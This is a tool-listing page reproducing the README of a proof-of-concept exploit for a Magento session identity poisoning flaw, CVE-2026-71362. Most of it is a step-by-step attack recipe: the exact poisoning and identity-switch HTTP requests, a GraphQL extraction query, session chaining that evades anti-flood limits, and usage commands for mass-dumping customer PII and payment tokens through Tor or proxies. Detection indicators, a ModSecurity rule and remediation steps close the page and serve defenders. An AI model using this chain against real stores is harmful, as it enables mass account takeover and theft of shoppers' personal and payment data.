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cve-2026-71362-magento-ato — CVE-2026-71362 — Magento Session Identity Poisoning → Mass Account Takeover (CVSS 9.1, CISA KEV) | Kitploit
Tools/GitHubGitHub/mahumadad/cve-2026-71362-magento-ato
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationWeb SecurityPenetration Testing
GitHubmahumadad/cve-2026-71362-magento-ato

cve-2026-71362-magento-ato

CVE-2026-71362 — Magento Session Identity Poisoning → Mass Account Takeover (CVSS 9.1, CISA KEV)

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CVE-2026-71362 — Magento Session Identity Poisoning → Mass Account Takeover

CVSS 9.1 (Critical) · CISA KEV · CWE-863 Incorrect Authorization

Proof-of-concept exploit for CVE-2026-71362: a session identity poisoning vulnerability in Adobe Commerce and Magento Open Source that enables full account takeover of any customer with a single authenticated session, escalating to automated mass extraction of the entire customer database (PII, orders, payment tokens, addresses).

Affected Versions

ProductAffectedFixed
Adobe Commerce≤ 2.4.7-p82.4.8+ / APSB-2026-XX
Magento Open Source≤ 2.4.7-p82.4.8+

Root Cause

Magento\Customer\Controller\Account\Edit::execute() restores customer_form_data from the PHP session using populateWithArray(). This method calls setCustomerId() on the customer data object, but the id field in the form data is never filtered or validated against the authenticated session's actual customer ID.

POST /customer/account/editPost/ (with id=<target_customer_id>)
    → Magento stores poisoned form_data in session (including id)
    → 302 redirect to /customer/account/edit/

GET /customer/account/edit/
    → Edit::execute() calls populateWithArray($session->getCustomerFormData())
    → setCustomerId(<target_customer_id>) overwrites the session identity
    → Session now operates as the target customer

The session remains authenticated but the identity has switched. All subsequent operations — including GraphQL { customer { ... } } queries — return the target customer's data, not the attacker's.

Attack Chain

1. Session Poisoning (one HTTP request)

POST /customer/account/editPost/ HTTP/1.1
Cookie: PHPSESSID=<attacker_session>
Content-Type: application/x-www-form-urlencoded

form_key=<form_key>&firstname=X&lastname=X&[email protected]
&change_email=1&current_password=wrong&id=<TARGET_ID>

The change_email=1 + wrong password triggers the "incorrect password" error path, which stores the full POST body (including id) as customer_form_data in the session. The request intentionally fails authentication but the poisoned data persists.

2. Identity Switch (one HTTP request)

GET /customer/account/edit/ HTTP/1.1
Cookie: PHPSESSID=<attacker_session>

Edit::execute() finds customer_form_data in the session and calls populateWithArray(), which includes setCustomerId(<TARGET_ID>). The session identity is now the target.

3. Data Extraction (GraphQL)

POST /graphql HTTP/1.1
Cookie: PHPSESSID=<attacker_session>
Content-Type: application/json

{"query": "{ customer { firstname lastname email taxvat addresses { ... } orders { ... } ... } }"}

Magento's GraphQL resolvers use the session-authenticated customer identity, which is now the target. Returns the complete customer profile: PII, addresses, order history with items and payment methods, wishlists, reviews, stored payment tokens.

4. Session Chaining for Mass Extraction

Each poisoned session becomes the base for the next attack. Sessions "burn out" after ~6-8 POST operations (Magento's anti-flood protection redirects to /login/), so the exploit chains sessions:

Session A (attacker) → poison to ID 1 → Session A' (ID 1)
Session A' → poison to ID 2 → Session A'' (ID 2)
...after 6 iterations...
Fall back to last known-good session → continue chaining

The script maintains a current session (for poisoning) and a last_good fallback, with triple recovery: current → last_good → original.

Data Extracted

CategoryFields
PIIfirstname, lastname, email, taxvat (national ID), date_of_birth, gender
Addressesstreet, city, region, postcode, country, phone, company, VAT ID
Ordersnumber, date, status, items (name, SKU, qty), totals, discounts, taxes
Paymentspayment method name/type per order, stored payment tokens (hash, type, details)
Shippingmethod, carrier, tracking numbers
Refundscredit memo number, refunded items, amounts, comments
Wishlistsproducts with prices, sharing codes
Reviewstext, ratings, timestamps
Accountcreation date, newsletter subscription

Usage

Requirements: Python 3, curl (system).

# Basic usage
python3 exploit.py https://target.example.com <PHPSESSID> [start_id] [end_id] [output.json]

# Extract customers 1-100
python3 exploit.py https://target.example.com abc123def456 1 100 dump.json

# Through Tor (SOCKS5 on 127.0.0.1:9050)
python3 exploit.py --tor https://target.example.com abc123def456 1 1000

# Custom SOCKS5 proxy
python3 exploit.py --proxy 127.0.0.1:1080 https://target.example.com abc123def456

Obtaining a PHPSESSID

The attacker needs one authenticated session. Options:

  • Create an account via GraphQL createCustomerV2 (often exempt from reCAPTCHA)
  • Register normally on the storefront
  • Any existing customer session

Output

JSON file with metadata, statistics, and per-customer extracted data:

{
  "metadata": { "cve": "CVE-2026-71362", "target": "...", "timestamp": "..." },
  "stats": { "tested": 100, "exists": 88, "with_email": 85, "with_orders": 42, ... },
  "customers": [
    {
      "customer_id": 1,
      "firstname": "...", "lastname": "...", "email": "...",
      "taxvat": "...",
      "addresses": [...],
      "orders": [...],
      "payment_tokens": [...]
    }
  ]
}

Key Technical Details

  • Customer IDs are sequential (auto-increment). No guessing needed — iterate from 1 to N.
  • No rate limiting on the poison vector (editPost). Magento's anti-flood kicks in after ~8 POSTs per session, but session chaining bypasses it.
  • GraphQL respects session cookies. No separate API token needed.
  • store_credit is not available on Magento Open Source / Community Edition (Adobe Commerce only).
  • The exploit works regardless of reCAPTCHA configuration on login/registration — the poison uses the editPost endpoint which typically has no captcha.

Detection

Indicators of Compromise

  1. Rapid sequential editPost requests with change_email=1 and varying id parameters from the same session/IP
  2. Session identity changes: a single PHPSESSID accessing section/load or GraphQL { customer } returning different customerId values across requests
  3. editPost with id parameter: legitimate edit requests never include id — it's set server-side from the session

WAF / Detection Rules

# ModSecurity: block 'id' parameter in customer edit POST
SecRule REQUEST_URI "@rx /customer/account/editPost" \
  "id:71362001,phase:2,deny,status:403,\
   chain,msg:'CVE-2026-71362 attempt: id param in editPost'"
  SecRule ARGS:id "!@rx ^$" ""

Remediation

  1. Patch immediately: Apply APSB-2026-XX or upgrade to Magento 2.4.8+
  2. Virtual patch: Strip the id field from editPost requests at the WAF/reverse proxy level
  3. Monitor: Search access logs for editPost requests containing an id parameter

Timeline

DateEvent
2026-09-XXVulnerability reported to Adobe PSIRT
2026-10-XXCVE-2026-71362 assigned
2026-10-XXCISA adds to Known Exploited Vulnerabilities catalog
2026-10-XXAdobe releases patch in APSB-2026-XX
2026-10-23This PoC published

Disclaimer

This tool is provided for authorized security testing and research only. Only use it against systems you have explicit written permission to test. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse.

Author

Mario Ahumada (@mahumadad)

License

MIT

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